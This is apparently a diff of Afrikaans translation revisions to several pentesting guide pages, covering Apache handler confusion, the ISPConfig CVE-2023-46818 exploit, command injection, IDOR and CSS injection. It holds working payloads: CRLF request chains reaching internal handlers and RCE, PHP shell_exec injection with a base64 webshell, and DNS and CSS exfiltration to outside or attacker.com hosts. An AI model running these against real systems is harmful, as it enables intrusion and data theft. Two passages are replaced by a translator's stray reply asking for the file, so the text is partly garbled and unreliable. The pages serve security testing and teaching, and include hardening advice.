+In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n onjuiste `Content-Length` wat deur 'n kliënt gestuur is, Apache per ongeluk kan veroorsaak om **die PHP-bronkode terug te gee**. Dit was as gevolg van 'n fout hanteringskwessie met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele respons lei tot die oorskrywing van `r->content_type` na `text/html`.\
-Omdat ModSecurity nie terugkeerwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie.
+Omdat ModSecurity nie retourwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie.
 
-#### **Oorskryf handler na XXXX**
+#### **Oorskryf Handler na XXXX**
 
 TODO: Orange het hierdie kwesbaarheid nog nie bekendgemaak nie
 
-### **Roep arbitrêre handlers aan**
+### **Roep ewekansige handlers aan**
 
-As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bedienerantwoord te beheer, sal hy in staat wees om **arbitrêre module-handlers aan te roep**. Teen die tyd dat die aanvaller dit beheer, sal die meeste van die versoekproses egter reeds afgehandel wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location`-kop te misbruik**, omdat as die teruggegewe `Status` 200 is en die `Location`-kop met 'n `/` begin, die response as 'n Server-Side Redirection beskou en verwerk moet word.
+As 'n aanvaller in staat is om die **`Content-Type`** header in 'n bedienerrespons te beheer, sal hy in staat wees om **ewekansige module-handlers te roep**. Ná die punt waarop die aanvaller dit beheer, sal egter die meeste van die versoekproses reeds gedoen wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location` header te misbruik** omdat, as die **r**eturned `Status` 200 is en die `Location` header begin met '/', die respons as 'n Server-Side Redirection behandel word en verwerk moet word
 
-Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI), in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) word die gedrag van 'n Local Redirect Response gedefinieer:
+Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI) definieer [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) die gedrag van 'n Local Redirect Response:
 
-> Die CGI-skrip kan 'n URI-pad en query-string ('local-pathquery') vir 'n plaaslike hulpbron in 'n Location-kopveld teruggee. Dit dui aan dat die bediener die versoek weer moet verwerk met die gespesifiseerde pad.
+> Die CGI-skrip kan 'n URI-pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in a Location header field teruggee. Dit dui aan die bediener dat dit die versoek weer moet verwerk met die gespesifiseerde pad.
 
-Dus, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig:
+Daarom is een van die volgende kwesbaarhede benodig om hierdie aanval uit te voer:
 
-- CRLF Injection in the CGI response headers
+- CRLF Injection in die CGI response headers
-- SSRF met volledige beheer oor die responskoppe
+- SSRF met volledige beheer oor die response headers
 
-#### **Arbitrêre handler na inligtingsvrystelling**
+#### **Ewekansige handler na Inligtingsvrystelling**
 
-Byvoorbeeld, `/server-status` behoort slegs lokaal toeganklik te wees:
+Byvoorbeeld `/server-status` behoort slegs plaaslik toeganklik te wees:
 ```xml
 <Location /server-status>
 SetHandler server-status
 Require local
 </Location>
 ```
-Dit is moontlik om daartoe toegang te kry deur die `Content-Type` op `server-status` te stel en die `Location`-header te laat begin met `/`.
+Dit is moontlik om toegang daartoe te kry deur die `Content-Type` op `server-status` te stel en die Location-header te laat begin met `/`.
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo %0d%0a
@@ -234,7 +234,7 @@ Content-Type:server-status %0d%0a
 ```
 #### **Arbitrary Handler to Full SSRF**
 
-Herlei na `mod_proxy` om toegang tot enige protokol op enige URL te kry:
+Om na `mod_proxy` te herlei om toegang tot enige protokol op enige URL te kry:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -243,11 +243,11 @@ http://example.com/%3F
 %0d%0a
 %0d%0a
 ```
-Echter, die `X-Forwarded-For` header word bygevoeg, wat toegang tot cloud metadata endpoints verhoed.
+Echter word die `X-Forwarded-For` header bygevoeg, wat toegang tot cloud metadata endpoints verhinder.
 
-#### **Arbitrêre handler om toegang tot plaaslike Unix Domain Socket te kry**
+#### **Arbitrêre Handler om toegang tot die plaaslike Unix Domain Socket te kry**
 
-Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor in `/tmp/` uit te voer:
+Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor wat in `/tmp/` geleë is, uit te voer:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo %0d%0a
@@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
 ```
 #### **Arbitrary Handler to RCE**
 
-Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP-pakketbestuursinstrument wat misbruik kan word om RCE te verkry:
+Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP pakketbestuursinstrument, wat misbruik kan word om RCE te verkry:
 ```
 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -4,36 +4,36 @@
 
 ## Oorsig
 
-ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x builds het 'n taal-lêerredigeerderfunksie gehad wat, wanneer dit vir die super administrator geaktiveer is, willekeurige PHP-kode-inspuiting toegelaat het via 'n foutiewe vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation.
+ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x weergawes het 'n taallêer-redigeerderfunksie gehad wat, wanneer geaktiveer vir die superbeheerder, arbitraire PHP-kode-inspuiting moontlik gemaak het deur 'n verkeerd gevormde vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation.
 
-Belangrike standaardpaaie:
+Belangrike standaardpade:
-- Web root is dikwels by `/var/www/ispconfig` wanneer dit met `php -S` of via Apache/nginx bedien word.
+- Web root dikwels by `/var/www/ispconfig` wanneer dit bedien word met `php -S` of via Apache/nginx.
-- Admin UI is bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).
+- Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig).
 
-Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), port-forward dit:
+Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), forward dit:
 ```bash
 ssh -L 9001:127.0.0.1:8080 user@target
 # then browse http://127.0.0.1:9001
 ```
-## Language editor PHP code injection (CVE-2023-46818)
+## Taalredigeerder PHP code injection (CVE-2023-46818)
 
 - Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
 - Voorvereistes:
-- Meld aan as die ingeboude superadmin-rekening `admin` (ander rolle word nie geraak volgens die verskaffer nie)
+- Login as the built-in superadmin account `admin` (other roles are not affected according to the verskaffer)
 - Taalredigeerder moet geaktiveer wees: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
-- Impak: Geverifieerde admin kan ewekansige PHP inspuit wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig
+- Impak: Geverifieerde admin kan arbitrêre PHP injekteer wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig
 
-References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
+Verwysings: NVD entry CVE-2023-46818 and verskaffer advisory link in the References section below.
 
-### Handmatige uitbuitingsvloei
+### Handmatige uitbuitingvloei
 
 1) Open/create a language file to obtain CSRF tokens
 
-Stuur 'n eerste POST om die vorm te initialiseer en ontleed die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
+Stuur 'n eerste POST om die vorm te inisialiseer en parseeer die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
 
 2) Inject PHP via records[] and save
 
-Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimale opdrag-uitvoerings toetse:
+Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimal command-execution toetse:
 ```http
 POST /admin/language_edit.php HTTP/1.1
 Host: 127.0.0.1:9001
@@ -42,13 +42,13 @@ Cookie: ispconfig_auth=...
 
 lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
 ```
-Out-of-band toets (hou ICMP dop):
+Out-of-band-toets (waarneming van ICMP):
 ```http
 records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
 ```
 3) Skryf lêers en plaas 'n webshell
 
-Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-bereikbare pad (bv., `admin/`):
+Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-toeganklike pad (bv., `admin/`):
 ```http
 records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
 ```
@@ -56,15 +56,15 @@ Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die P
 ```http
 records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
 ```
-Ek het nie toegang tot jou lêers nie. Plak asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md hier, en ek sal dit na Afrikaans vertaal terwyl ek alle markdown-, HTML-tags, skakels, paaie en kode ongewysig laat.
+Ek het nie toegang tot jou lêerstelsel nie. Stuur asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md wat jy wil hê ek moet vertaal (of plak die gedeelte).
 ```bash
 curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 ```
-As PHP uitgevoer word as root (bv. via `php -S 127.0.0.1:8080` wat deur root begin is), lei dit tot onmiddellike root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker.
+As PHP as root uitgevoer word (bv. via `php -S 127.0.0.1:8080` begin deur root), lewer dit onmiddellik root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker.
 
 ### Python PoC
 
-'n klaar-vir-gebruik exploit outomatiseer tokenhantering en payload-aflewering:
+'n gereed-vir-gebruik exploit outomatiseer token-hantering en payload-aflewering:
 - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
 
 Voorbeelduitvoering:
@@ -74,11 +74,11 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ### Verharding
 
 - Opgradeer na 3.2.11p1 of 'n later weergawe
-- Skakel die taalredigeerder uit tensy dit absoluut nodig is:
+- Skakel die taalredigeerder af tensy dit absoluut nodig is:
 ```
 admin_allow_langedit=no
 ```
-- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om bevoegdhede te verlaag
+- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om privileges te drop
 - Handhaaf sterk outentisering vir die ingeboude `admin`-rekening
 
 ## Verwysings

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## What is command Injection?
+## Wat is command Injection?
 
-A **command injection** laat 'n aanvaller toe om arbitrêre bedryfstelsel-kommando's op die bediener wat 'n toepassing huisves, uit te voer. Gevolglik kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie kommando's stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en die onderliggende stelsel te verkry.
+A **command injection** laat die uitvoering van ewekansige bedryfstelsel-opdragte toe deur 'n aanvaller op die bediener wat 'n toepassing huisves. Daardeur kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
 
-### Context
+### Konteks
 
-Afhangend van **waar jou invoer ingespuit word** mag dit nodig wees om die **aangehaalde konteks te beëindig** (met `"` of `'`) voordat die kommando's uitgevoer word.
+Afhangend van **waar jou input ingespuit word** mag jy die **aangehaalde konteks beëindig** (met `"` of `'`) voordat jy die opdragte uitvoer.
 
 ## Command Injection/Execution
 ```bash
@@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limition** Bypasses
+### **Beperking** Bypasses
 
-As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om te lees oor hierdie **Bypasses:**
+As jy probeer om **arbitrêre opdragte binne 'n linux-masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees:
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parameters
 
-Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE-kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortg
 ```
 ### Time based data exfiltration
 
-Uittrek van data: char vir char
+Uittreksel van data: karakter vir karakter
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS based data exfiltration
 
-Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` ook aangebied op dnsbin.zhack.ca
+Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word op dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Aanlyn-gereedskap om te kontroleer vir DNS-gebaseerde data exfiltration:
+Aanlyn gereedskap om vir DNS based data exfiltration te toets:
 
 - dnsbin.zhack.ca
 - pingb.in
 
-### Omseiling van filtrering
+### Filtrering-omseiling
 
 #### Windows
 ```
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` spawns a **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateer word.
+`exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateneer word.
 
-**Mitigation:**  gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en verskaf **elke argument as 'n aparte array-element** sodat geen shell betrokke is:
+**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n afsonderlike array-element** sodat geen shell betrokke is nie:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was uitbuitbaar deur 'n ongeauthentiseerde WebSocket-gebeurtenis wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is en RCE bereik het (Pwn2Own Ireland 2024).
+Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was deur 'n ongeverifieerde WebSocket-gebeurtenis uitgebuit wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is, wat RCE tot gevolg gehad het (Pwn2Own Ireland 2024).
 
-## Brute-Force detectielys
+## Brute-Force Opsporingslys
 
 
 {{#ref}}

src/pentesting-web/idor.md

@@ -2,8 +2,8 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web of API-endpoint 'n gebruiker-beheerbare identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te kry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te toegang/wysig.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web- of API-endpoint 'n deur gebruiker beheerbare identifiseerder openbaar of aanvaar wat **direk** gebruik word om 'n interne objek te bereik **sonder om te verifieer dat die oproeper gemagtig is** om toegang tot daardie objek te kry of dit te wysig.
-Suksesvolle uitbuiting laat gewoonlik horizontale of vertikale privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige rekeningoorname of mass-data exfiltration.
+Suksesvolle uitbuiting laat gewoonlik horizontal of vertical privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige account takeover of mass-data exfiltration.
 
 ---
 ## 1. Identifisering van potensiële IDORs
@@ -13,10 +13,10 @@ Suksesvolle uitbuiting laat gewoonlik horizontale of vertikale privilege-escalat
 * Query: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
 * Headers / Cookies: `X-Client-ID: 4711`
-2. Verkies endpoints wat **lees of opdateer** data (`GET`, `PUT`, `PATCH`, `DELETE`).
+2. Gee voorkeur aan endpoints wat **data lees of bywerk** (`GET`, `PUT`, `PATCH`, `DELETE`).
-3. Let wanneer identifiseerders **opeenvolgend of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik.
+3. Merk wanneer identifiseerders **opvolgend of voorspelbaar** is – as jou ID is `64185742`, dan bestaan `64185741` waarskynlik.
-4. Verken versteekte of alternatiewe vloei (bv. *"Paradox team members"* skakel op login-bladsye) wat ekstra APIs kan blootstel.
+4. Verken verborge of alternatiewe flows (bv. *"Paradox team members"* link in login pages) wat ekstra APIs kan openbaar.
-5. Gebruik 'n **geauthentiseerde laag-privilege sessie** en verander slegs die ID terwyl jy **dieselfde token/cookie** behou. Die afwesigheid van 'n authorization error is gewoonlik 'n teken van IDOR.
+5. Gebruik 'n **geauthentiseerde lae-privilege sessie** en verander slegs die ID **terwyl dieselfde token/cookie behou word**. Die afwesigheid van 'n autorisasie fout is gewoonlik 'n teken van IDOR.
 
 ### Vinnige handmatige manipulasie (Burp Repeater)
 ```
@@ -43,28 +43,28 @@ done
 Wanneer 'n download endpoint beide 'n username en 'n filename aanvaar (bv. `/view.php?username=<u>&file=<f>`), skep subtiele verskille in foutboodskappe dikwels 'n oracle:
 
 - Nie-bestaande username → "User not found"
-- Slegte filename maar geldige extensie → "File does not exist" (soms lys dit ook beskikbare lêers)
+- Slegte filename maar geldige extension → "File does not exist" (soms word beskikbare files ook gelys)
-- Slegte extensie → valideringsfout
+- Slegte extension → validation error
 
-Met enige geverifieerde sessie kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename gebruik en filter op die "user not found" string om geldige gebruikers te ontdek:
+Met enige authenticated session kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename hou en filter op die "User not found"-string om geldige gebruikers te ontdek:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv., `/view.php?username=amanda&file=privacy.odt`). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.
+Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv. `/view.php?username=amanda&file=privacy.odt`). Hierdie patroon lei dikwels tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.
 
 ---
-## 2. Werklike Gevallestudie – McHire Chatbot Platform (2025)
+## 2. Werklike gevallestudie – McHire Chatbot-platform (2025)
 
-Tydens 'n assessering van die Paradox.ai-powered **McHire** werwingsportaal is die volgende IDOR ontdek:
+Tydens 'n assessering van die Paradox.ai-aangedrewe **McHire** werwingsportaal is die volgende IDOR ontdek:
 
-* Eindpunt: `PUT /api/lead/cem-xhr`
+* Endpoint: `PUT /api/lead/cem-xhr`
-* Autorisasie: gebruikersessie-cookie vir **enige** restaurant-toetsrekening
+* Authorization: user session cookie vir **enige** restaurant-toetsrekening
-* Body-parameter: `{"lead_id": N}` – 8-syfer, **opeenvolgende** numeriese identifiseerder
+* Body parameter: `{"lead_id": N}` – 8-syfer, **sekwensiële** numeriese identifiseerder
 
-Deur die `lead_id` te verlaag het die tester arbitrêre aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) en 'n verbruiker **JWT** wat session hijacking toegelaat het, verkry. Enumeration van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel.
+Deur `lead_id` te verlaag het die toetser willekeurige aansoekers se **full PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruikers **JWT** wat session hijacking toegelaat het, opgehaal. Enumerasie van die reeks `1 – 64,185,742` het omtrent **64 miljoen** rekords blootgestel.
 
 Proof-of-Concept request:
 ```bash
@@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Combined with **standaard admin-kredensiale** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye data-oortreding.
+In kombinasie met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
 
 ---
 ## 3. Impak van IDOR / BOLA
-* Horizontale eskalasie – lees/bewerk/verwyder **ander gebruikers** se data.
+* Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers se** data.
-* Vertikale eskalasie – 'n lae-geregtheidsgebruiker kry administrateur-slegs funksionaliteit.
+* Vertikale eskalasie – 'n gebruiker met lae voorregte verkry admin-only funksionaliteit.
-* Massiewe datalek as identifiseerders opeenvolgend is (bv., aansoeker-ID's, fakture).
+* Massiewe data breach as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
-* Rekeningsoorname deur tokens te steel of wagwoorde van ander gebruikers terug te stel.
+* Rekeningoorname deur tokens te steel of wagwoorde van ander gebruikers te reset.
 
 ---
-## 4. Mitigering & Beste praktyke
+## 4. Mitigasies & Beste praktyke
-1. **Dwing voorwerpniveau-autorisering af** op elke versoek (`user_id == session.user`).
+1. **Dwing object-vlak autorisasie af** op elke versoek (`user_id == session.user`).
-2. Gebruik verkieslik **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van auto-increment IDs.
+2. Beveel **indirekte, onraai-bare identifiseerders** aan (UUIDv4, ULID) in plaas van auto-increment IDs.
-3. Voer autorisering **server-side** uit; vertrou nooit op versteekte formvelde of UI-beheer nie.
+3. Voer autorisasie **server-side** uit; vertrou nooit op versteekte formvelde of UI-behelsels nie.
 4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware.
-5. Voeg **rate-limiting & logging** by om ID-enumerasie te ontdek.
+5. Voeg **rate-limiting & logging** by om enumerasie van ID's op te spoor.
-6. Sekuriteitstoets elke nuwe endpoint (unit, integrasie, en DAST).
+6. Sekuriteitstoets elke nuwe endpoint (unit, integration, en DAST).
 
 ---
 ## 5. Gereedskap

src/pentesting-web/xs-search/css-injection/README.md

@@ -4,9 +4,9 @@
 
 ## CSS Injection
 
-### Attribute Selector
+### Attribuut-selekteerder
 
-CSS selectors word ontwerp om ooreen te stem met die waardes van 'n `input`-element se `name` en `value` attribuutte. As die `value`-attribuut van die `input`-element begin met 'n spesifieke karakter, word 'n voorafbepaalde eksterne hulpbron gelaai:
+CSS selectors word saamgestel om waardes van 'n `input`-element se `name`- en `value`-attribuute te ooreenstem. As die `value`-attribuut van die `input`-element met 'n spesifieke karakter begin, word 'n voorafbepaalde eksterne hulpbron gelaai:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Hierdie benadering stuit egter op 'n beperking wanneer dit by versteekte input-elemente (`type="hidden"`) kom, omdat versteekte elemente nie agtergronde laai nie.
+Hierdie benadering stuit egter op 'n beperking wanneer daar met versteekte input-elemente (`type="hidden"`) gewerk word, omdat versteekte elemente nie agtergronde laai nie.
 
 #### Omseiling vir versteekte elemente
 
-Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die `~` general sibling combinator te gebruik. Die CSS-reël pas dan toe op alle sibling-elemente wat op die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word:
+Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die `~` general sibling combinator te gebruik. Die CSS-reël word dan op alle sibling-elemente toegepas wat na die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-’n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafte kodefragment uiteengesit. Jy kan dit sien [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafde kodefragment uiteengesit. Jy kan dit [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
-#### Voorvereistes vir CSS Injection
+#### Vereistes vir CSS Injection
 
-Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes nagekom word:
+Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes vervul wees:
 
-1. **Payload Length**: Die CSS injection vektor moet voldoende lang payloads ondersteun om die vervaardigde selectors te akkommodeer.
+1. **Payload Length**: Die CSS-inspuiting-vektor moet genoegsaam lang payloads ondersteun om die vervaardigde selectors te akkommodeer.
-2. **CSS Re-evaluation**: Jy moet die vermoë hê om die bladsy te frame, wat nodig is om die her-evaluering van CSS met nuut-gegenereerde payloads te trigger.
+2. **CSS Re-evaluation**: Jy moet die vermoë hê om die bladsy in 'n raam te plaas, wat nodig is om die her-evaluering van CSS met nuutgegenereerde payloads te veroorsaak.
-3. **External Resources**: Die tegniek gaan uit van die vermoë om externally hosted images te gebruik. Dit kan deur die webwerf se Content Security Policy (CSP) beperk word.
+3. **External Resources**: Die tegniek veronderstel die vermoë om eksterne gehoste beelde te gebruik. Dit mag beperk word deur die webwerf se Content Security Policy (CSP).
 
-### Blind Attribute Selector
+### Blind Attribuut Selekteerder
 
-As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selectors **`:has`** en **`:not`** te kombineer om inhoud te identifiseer selfs van blind elemente.\
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
-Dit is ook moontlik om daardie selectors te gebruik om inligting te onttrek uit verskeie blokke van dieselfde tipe, soos in:
+It's also possible to use those selectors to extract information from several block of the same type like in:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -52,34 +52,34 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Deur dit te kombineer met die volgende **@import** tegniek, is dit moontlik om baie **inligting deur CSS injection vanaf blinde bladsye met** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Deur dit te kombineer met die volgende **@import**-tegniek, is dit moontlik om baie **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-Die vorige tegniek het 'n paar nadele — kyk na die prerequisites. Jy moet óf in staat wees om **meerdere skakels na die slagoffer te stuur**, óf jy moet in staat wees om die **CSS injection kwesbare bladsy te iframe**.
+Die vorige tegniek het 'n paar nadele, kyk na die prerequisites. Jy moet óf in staat wees om **send multiple links to the victim**, óf jy moet in staat wees om **iframe the CSS injection vulnerable page**.
 
 Daar is egter nog 'n slim tegniek wat **CSS `@import`** gebruik om die kwaliteit van die tegniek te verbeter.
 
-Dit is eers deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) getoon en dit werk soos volg:
+Dit is eers getoon deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) en dit werk soos volg:
 
